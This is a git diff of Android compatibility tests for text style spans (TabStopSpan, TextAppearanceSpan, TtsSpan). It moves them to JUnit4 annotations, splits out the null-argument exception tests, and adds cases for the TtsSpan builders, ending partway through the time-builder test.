--- a/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
@@ -16,17 +16,27 @@
 
 package android.text.style.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.TabStopSpan;
 import android.text.style.TabStopSpan.Standard;
 
-public class TabStopSpan_StandardTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TabStopSpan_StandardTest {
+    @Test
     public void testConstructor() {
         new TabStopSpan.Standard(3);
 
         new TabStopSpan.Standard(-3);
     }
 
+    @Test
     public void testGetTabStop() {
         Standard standard = new Standard(3);
         assertEquals(3, standard.getTabStop());
diff --git a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
index 2d45566..5af81d8 100644
--- a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
@@ -16,24 +16,46 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
 
+import android.content.Context;
 import android.content.res.ColorStateList;
 import android.graphics.Color;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.TextAppearanceSpan;
 
-public class TextAppearanceSpanTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextAppearanceSpanTest {
+    private Context mContext;
+    private ColorStateList mColorStateList;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+
+        int[][] states = new int[][] { new int[0], new int[0] };
+        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
+        mColorStateList = new ColorStateList(states, colors);
+    }
+
+    @Test
     public void testConstructor() {
         new TextAppearanceSpan(mContext, 1);
         new TextAppearanceSpan(mContext, 1, 1);
 
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
-
-        TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
         Parcel p = Parcel.obtain();
         try {
             textAppearanceSpan.writeToParcel(p, 0);
@@ -42,23 +64,22 @@
         } finally {
             p.recycle();
         }
-        try {
-            new TextAppearanceSpan(null, -1);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
-
-        try {
-            new TextAppearanceSpan(null, -1, -1);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
 
         new TextAppearanceSpan(null, -1, -1, null, null);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new TextAppearanceSpan(null, -1);
+    }
+
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new TextAppearanceSpan(null, -1, -1);
+    }
+
+    @Test
     public void testGetFamily() {
         TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan(mContext, 1);
         assertNull(textAppearanceSpan.getFamily());
@@ -66,48 +87,41 @@
         textAppearanceSpan = new TextAppearanceSpan(mContext, 1, 1);
         assertNull(textAppearanceSpan.getFamily());
 
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
-
-        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
+        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
         assertEquals("sans", textAppearanceSpan.getFamily());
     }
 
+    @Test
     public void testUpdateMeasureState() {
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
-
-        TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
         TextPaint tp = new TextPaint();
-        tp.setTextSize((float) 1);
-        assertEquals((float) 1, tp.getTextSize());
+        tp.setTextSize(1.0f);
+        assertEquals(1.0f, tp.getTextSize(), 0.0f);
 
         textAppearanceSpan.updateMeasureState(tp);
 
-        assertEquals((float) 6, tp.getTextSize());
-
-        try {
-            textAppearanceSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
+        assertEquals(6.0f, tp.getTextSize(), 0.0f);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
+        textAppearanceSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testGetTextColor() {
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
+        assertSame(mColorStateList, textAppearanceSpan.getTextColor());
 
-        TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
-        assertSame(csl, textAppearanceSpan.getTextColor());
-
-        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, null, csl);
+        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, null, mColorStateList);
         assertNull(textAppearanceSpan.getTextColor());
     }
 
+    @Test
     public void testGetTextSize() {
         TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan(mContext, 1);
         assertEquals(-1, textAppearanceSpan.getTextSize());
@@ -115,14 +129,11 @@
         textAppearanceSpan = new TextAppearanceSpan(mContext, 1, 1);
         assertEquals(-1, textAppearanceSpan.getTextSize());
 
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
-
-        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
+        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
         assertEquals(6, textAppearanceSpan.getTextSize());
     }
 
+    @Test
     public void testGetTextStyle() {
         TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan(mContext, 1);
         assertEquals(0, textAppearanceSpan.getTextStyle());
@@ -130,32 +141,24 @@
         textAppearanceSpan = new TextAppearanceSpan(mContext, 1, 1);
         assertEquals(0, textAppearanceSpan.getTextStyle());
 
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
-
-        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
+        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
         assertEquals(1, textAppearanceSpan.getTextStyle());
     }
 
+    @Test
     public void testGetLinkTextColor() {
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
+        assertSame(mColorStateList, textAppearanceSpan.getLinkTextColor());
 
-        TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
-        assertSame(csl, textAppearanceSpan.getLinkTextColor());
-
-        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, null);
+        textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, mColorStateList, null);
         assertNull(textAppearanceSpan.getLinkTextColor());
     }
 
+    @Test
     public void testUpdateDrawState() {
-        int[][] states = new int[][] { new int[0], new int[0] };
-        int[] colors = new int[] { Color.rgb(0, 0, 255), Color.BLACK };
-        ColorStateList csl = new ColorStateList(states, colors);
-
-        TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan("sans", 1, 6, csl, csl);
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
         TextPaint tp = new TextPaint();
         tp.setColor(0);
         tp.linkColor = 0;
@@ -163,28 +166,32 @@
 
         textAppearanceSpan.updateDrawState(tp);
 
-        int expected = csl.getColorForState(tp.drawableState, 0);
+        int expected = mColorStateList.getColorForState(tp.drawableState, 0);
         assertEquals(expected, tp.getColor());
         assertEquals(expected, tp.linkColor);
-
-        try {
-            textAppearanceSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        TextAppearanceSpan textAppearanceSpan =
+                new TextAppearanceSpan("sans", 1, 6, mColorStateList, mColorStateList);
+
+        textAppearanceSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan(mContext, 1);
         textAppearanceSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         TextAppearanceSpan textAppearanceSpan = new TextAppearanceSpan(mContext, 1);
         textAppearanceSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         String family = "sans";
diff --git a/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java b/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
index c718a37..c8a23fc 100644
--- a/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
@@ -16,29 +16,36 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.os.Parcel;
 import android.os.PersistableBundle;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.TtsSpan;
-import junit.framework.TestCase;
 
-public class TtsSpanTest extends TestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    PersistableBundle bundle;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TtsSpanTest {
+    private PersistableBundle mBundle;
 
-    @Override
-    protected void setUp() {
-        bundle = new PersistableBundle();
-        bundle.putString("argument.one", "value.one");
-        bundle.putString("argument.two", "value.two");
-        bundle.putLong("argument.three", 3);
-        bundle.putLong("argument.four", 4);
+    @Before
+    public void setup() {
+        mBundle = new PersistableBundle();
+        mBundle.putString("argument.one", "value.one");
+        mBundle.putString("argument.two", "value.two");
+        mBundle.putLong("argument.three", 3);
+        mBundle.putLong("argument.four", 4);
     }
 
-    @SmallTest
+    @Test
     public void testGetArgs() {
-        TtsSpan t = new TtsSpan("test.type.one", bundle);
-        PersistableBundle args = t.getArgs();
+        TtsSpan t = new TtsSpan("test.type.one", mBundle);
+        final PersistableBundle args = t.getArgs();
         assertEquals(4, args.size());
         assertEquals("value.one", args.getString("argument.one"));
         assertEquals("value.two", args.getString("argument.two"));
@@ -46,36 +53,36 @@
         assertEquals(4, args.getLong("argument.four"));
     }
 
-    @SmallTest
+    @Test
     public void testGetType() {
-        TtsSpan t = new TtsSpan("test.type.two", bundle);
+        TtsSpan t = new TtsSpan("test.type.two", mBundle);
         assertEquals("test.type.two", t.getType());
     }
 
-    @SmallTest
+    @Test
     public void testDescribeContents() {
-        TtsSpan span = new TtsSpan("test.type.three", bundle);
+        TtsSpan span = new TtsSpan("test.type.three", mBundle);
         span.describeContents();
     }
 
-    @SmallTest
+    @Test
     public void testGetSpanTypeId() {
-        TtsSpan span = new TtsSpan("test.type.four", bundle);
+        TtsSpan span = new TtsSpan("test.type.four", mBundle);
         span.getSpanTypeId();
     }
 
-    @SmallTest
+    @Test
     public void testWriteAndReadParcel() {
         Parcel p = Parcel.obtain();
         try {
-            TtsSpan span = new TtsSpan("test.type.five", bundle);
+            TtsSpan span = new TtsSpan("test.type.five", mBundle);
             span.writeToParcel(p, 0);
             p.setDataPosition(0);
 
             TtsSpan t = new TtsSpan(p);
 
             assertEquals("test.type.five", t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(4, args.size());
             assertEquals("value.one", args.getString("argument.one"));
             assertEquals("value.two", args.getString("argument.two"));
@@ -86,31 +93,31 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testBuilder() {
-        final TtsSpan t = (new TtsSpan.Builder<>("test.type.builder"))
+        final TtsSpan t = new TtsSpan.Builder<>("test.type.builder")
                 .setStringArgument("argument.string", "value")
                 .setIntArgument("argument.int", Integer.MAX_VALUE)
                 .setLongArgument("argument.long", Long.MAX_VALUE)
                 .build();
         assertEquals("test.type.builder", t.getType());
-        PersistableBundle args = t.getArgs();
+        final PersistableBundle args = t.getArgs();
         assertEquals(3, args.size());
         assertEquals("value", args.getString("argument.string"));
         assertEquals(Integer.MAX_VALUE, args.getInt("argument.int"));
         assertEquals(Long.MAX_VALUE, args.getLong("argument.long"));
     }
 
-    @SmallTest
+    @Test
     public void testSemioticClassBuilder() {
-        final TtsSpan t = (new TtsSpan.SemioticClassBuilder<>("test.type.semioticClassBuilder"))
+        final TtsSpan t = new TtsSpan.SemioticClassBuilder<>("test.type.semioticClassBuilder")
                 .setGender(TtsSpan.GENDER_FEMALE)
                 .setAnimacy(TtsSpan.ANIMACY_ANIMATE)
                 .setMultiplicity(TtsSpan.MULTIPLICITY_SINGLE)
                 .setCase(TtsSpan.CASE_NOMINATIVE)
                 .build();
         assertEquals("test.type.semioticClassBuilder", t.getType());
-        PersistableBundle args = t.getArgs();
+        final PersistableBundle args = t.getArgs();
         assertEquals(4, args.size());
         assertEquals(TtsSpan.GENDER_FEMALE, args.getString(TtsSpan.ARG_GENDER));
         assertEquals(TtsSpan.ANIMACY_ANIMATE, args.getString(TtsSpan.ARG_ANIMACY));
@@ -118,249 +125,362 @@
         assertEquals(TtsSpan.CASE_NOMINATIVE, args.getString(TtsSpan.ARG_CASE));
     }
 
-    @SmallTest
+    @Test
     public void testTextBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.TextBuilder())
+            final TtsSpan t = new TtsSpan.TextBuilder()
                     .setText("text")
                     .build();
             assertEquals(TtsSpan.TYPE_TEXT, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("text", args.getString(TtsSpan.ARG_TEXT));
         }
         {
-            final TtsSpan t = (new TtsSpan.TextBuilder("text")).build();
+            final TtsSpan t = new TtsSpan.TextBuilder("text").build();
             assertEquals(TtsSpan.TYPE_TEXT, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("text", args.getString(TtsSpan.ARG_TEXT));
         }
     }
 
-    @SmallTest
+    @Test
     public void testCardinalBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.CardinalBuilder())
+            final TtsSpan t = new TtsSpan.CardinalBuilder()
                     .setNumber(Long.MAX_VALUE)
                     .build();
             assertEquals(TtsSpan.TYPE_CARDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals(String.valueOf(Long.MAX_VALUE), args.getString(TtsSpan.ARG_NUMBER));
         }
         {
-            final TtsSpan t = (new TtsSpan.CardinalBuilder())
+            final TtsSpan t = new TtsSpan.CardinalBuilder()
                     .setNumber("10")
                     .build();
             assertEquals(TtsSpan.TYPE_CARDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_NUMBER));
         }
         {
-            final TtsSpan t = (new TtsSpan.CardinalBuilder(Long.MAX_VALUE)).build();
+            final TtsSpan t = new TtsSpan.CardinalBuilder(Long.MAX_VALUE).build();
             assertEquals(TtsSpan.TYPE_CARDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals(String.valueOf(Long.MAX_VALUE), args.getString(TtsSpan.ARG_NUMBER));
         }
         {
-            final TtsSpan t = (new TtsSpan.CardinalBuilder("10")).build();
+            final TtsSpan t = new TtsSpan.CardinalBuilder("10").build();
             assertEquals(TtsSpan.TYPE_CARDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_NUMBER));
         }
     }
 
-    @SmallTest
+    @Test
     public void testOrdinalBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.OrdinalBuilder())
+            final TtsSpan t = new TtsSpan.OrdinalBuilder()
                     .setNumber(Long.MAX_VALUE)
                     .build();
             assertEquals(TtsSpan.TYPE_ORDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals(String.valueOf(Long.MAX_VALUE), args.getString(TtsSpan.ARG_NUMBER));
         }
         {
-            final TtsSpan t = (new TtsSpan.OrdinalBuilder())
+            final TtsSpan t = new TtsSpan.OrdinalBuilder()
                     .setNumber("10")
                     .build();
             assertEquals(TtsSpan.TYPE_ORDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_NUMBER));
         }
         {
-            final TtsSpan t = (new TtsSpan.OrdinalBuilder(Long.MAX_VALUE)).build();
+            final TtsSpan t = new TtsSpan.OrdinalBuilder(Long.MAX_VALUE).build();
             assertEquals(TtsSpan.TYPE_ORDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals(String.valueOf(Long.MAX_VALUE), args.getString(TtsSpan.ARG_NUMBER));
         }
         {
-            final TtsSpan t = (new TtsSpan.OrdinalBuilder("10")).build();
+            final TtsSpan t = new TtsSpan.OrdinalBuilder("10").build();
             assertEquals(TtsSpan.TYPE_ORDINAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_NUMBER));
         }
     }
 
-    @SmallTest
+    @Test
     public void testDecimalBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.DecimalBuilder())
+            final TtsSpan t = new TtsSpan.DecimalBuilder()
                     .setArgumentsFromDouble(10.25, 1, 2)
                     .build();
             assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
         }
         {
-            final TtsSpan t = (new TtsSpan.DecimalBuilder(10.25, 1, 2)).build();
+            final TtsSpan t = new TtsSpan.DecimalBuilder(10.25, 1, 2).build();
             assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
         }
         {
-            final TtsSpan t = (new TtsSpan.DecimalBuilder())
+            final TtsSpan t = new TtsSpan.DecimalBuilder()
                     .setArgumentsFromDouble(10, 0, 0)
                     .build();
             assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
         }
         {
-            final TtsSpan t = (new TtsSpan.DecimalBuilder(10, 0, 0)).build();
+            final TtsSpan t = new TtsSpan.DecimalBuilder(10, 0, 0).build();
             assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
         }
         {
-            final TtsSpan t = (new TtsSpan.DecimalBuilder())
+            final TtsSpan t = new TtsSpan.DecimalBuilder()
                     .setArgumentsFromDouble(10.25, 10, 10)
                     .build();
             assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("2500000000", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
         }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder("10", "25").build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(2, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+            assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder(null, null).build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(2, args.size());
+            assertEquals(null, args.getString(TtsSpan.ARG_INTEGER_PART));
+            assertEquals(null, args.getString(TtsSpan.ARG_FRACTIONAL_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder().setIntegerPart(10).build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder().setIntegerPart("10").build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder().setIntegerPart(null).build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals(null, args.getString(TtsSpan.ARG_INTEGER_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder().setFractionalPart("25").build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder().setFractionalPart(null).build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals(null, args.getString(TtsSpan.ARG_FRACTIONAL_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.DecimalBuilder().build();
+            assertEquals(TtsSpan.TYPE_DECIMAL, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(0, args.size());
+        }
     }
 
-    @SmallTest
+    @Test
     public void testFractionBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.FractionBuilder())
+            final TtsSpan t = new TtsSpan.FractionBuilder()
                     .setIntegerPart(10)
                     .setNumerator(3)
                     .setDenominator(100)
                     .build();
             assertEquals(TtsSpan.TYPE_FRACTION, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(3, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("3", args.getString(TtsSpan.ARG_NUMERATOR));
             assertEquals("100", args.getString(TtsSpan.ARG_DENOMINATOR));
         }
         {
-            final TtsSpan t = (new TtsSpan.FractionBuilder(10, 3, 100)).build();
+            final TtsSpan t = new TtsSpan.FractionBuilder(10, 3, 100).build();
             assertEquals(TtsSpan.TYPE_FRACTION, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(3, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("3", args.getString(TtsSpan.ARG_NUMERATOR));
             assertEquals("100", args.getString(TtsSpan.ARG_DENOMINATOR));
         }
+        {
+            final TtsSpan t = new TtsSpan.FractionBuilder().setIntegerPart("10").build();
+            assertEquals(TtsSpan.TYPE_FRACTION, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+            assertEquals(null, args.getString(TtsSpan.ARG_NUMERATOR));
+            assertEquals(null, args.getString(TtsSpan.ARG_DENOMINATOR));
+        }
+        {
+            final TtsSpan t = new TtsSpan.FractionBuilder().setNumerator("3").build();
+            assertEquals(TtsSpan.TYPE_FRACTION, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("3", args.getString(TtsSpan.ARG_NUMERATOR));
+        }
+        {
+            final TtsSpan t = new TtsSpan.FractionBuilder().setDenominator("100").build();
+            assertEquals(TtsSpan.TYPE_FRACTION, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("100", args.getString(TtsSpan.ARG_DENOMINATOR));
+        }
+        {
+            final TtsSpan t = new TtsSpan.FractionBuilder().build();
+            assertEquals(TtsSpan.TYPE_FRACTION, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(0, args.size());
+        }
     }
 
-    @SmallTest
+    @Test
     public void testMeasureBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.MeasureBuilder())
+            final TtsSpan t = new TtsSpan.MeasureBuilder()
                     .setNumber(10)
                     .setUnit("unit")
                     .build();
             assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_NUMBER));
             assertEquals("unit", args.getString(TtsSpan.ARG_UNIT));
         }
         {
-            final TtsSpan t = (new TtsSpan.MeasureBuilder())
+            final TtsSpan t = new TtsSpan.MeasureBuilder()
                     .setIntegerPart(10)
                     .setFractionalPart("25")
                     .setUnit("unit")
                     .build();
             assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(3, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
             assertEquals("unit", args.getString(TtsSpan.ARG_UNIT));
         }
         {
-            final TtsSpan t = (new TtsSpan.MeasureBuilder())
+            final TtsSpan t = new TtsSpan.MeasureBuilder()
                     .setIntegerPart(10)
                     .setNumerator(3)
                     .setDenominator(100)
                     .setUnit("unit")
                     .build();
             assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(4, args.size());
             assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
             assertEquals("3", args.getString(TtsSpan.ARG_NUMERATOR));
             assertEquals("100", args.getString(TtsSpan.ARG_DENOMINATOR));
             assertEquals("unit", args.getString(TtsSpan.ARG_UNIT));
         }
+        {
+            final TtsSpan t = new TtsSpan.MeasureBuilder().setIntegerPart("10").build();
+            assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.MeasureBuilder().setNumerator("3").build();
+            assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("3", args.getString(TtsSpan.ARG_NUMERATOR));
+        }
+        {
+            final TtsSpan t = new TtsSpan.MeasureBuilder().setDenominator("100").build();
+            assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("100", args.getString(TtsSpan.ARG_DENOMINATOR));
+        }
+        {
+            final TtsSpan t = new TtsSpan.MeasureBuilder().build();
+            assertEquals(TtsSpan.TYPE_MEASURE, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(0, args.size());
+        }
     }
 
-    @SmallTest
+    @Test
     public void testTimeBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.TimeBuilder())
+            final TtsSpan t = new TtsSpan.TimeBuilder()
                     .setHours(20)
                     .setMinutes(50)
                     .build();
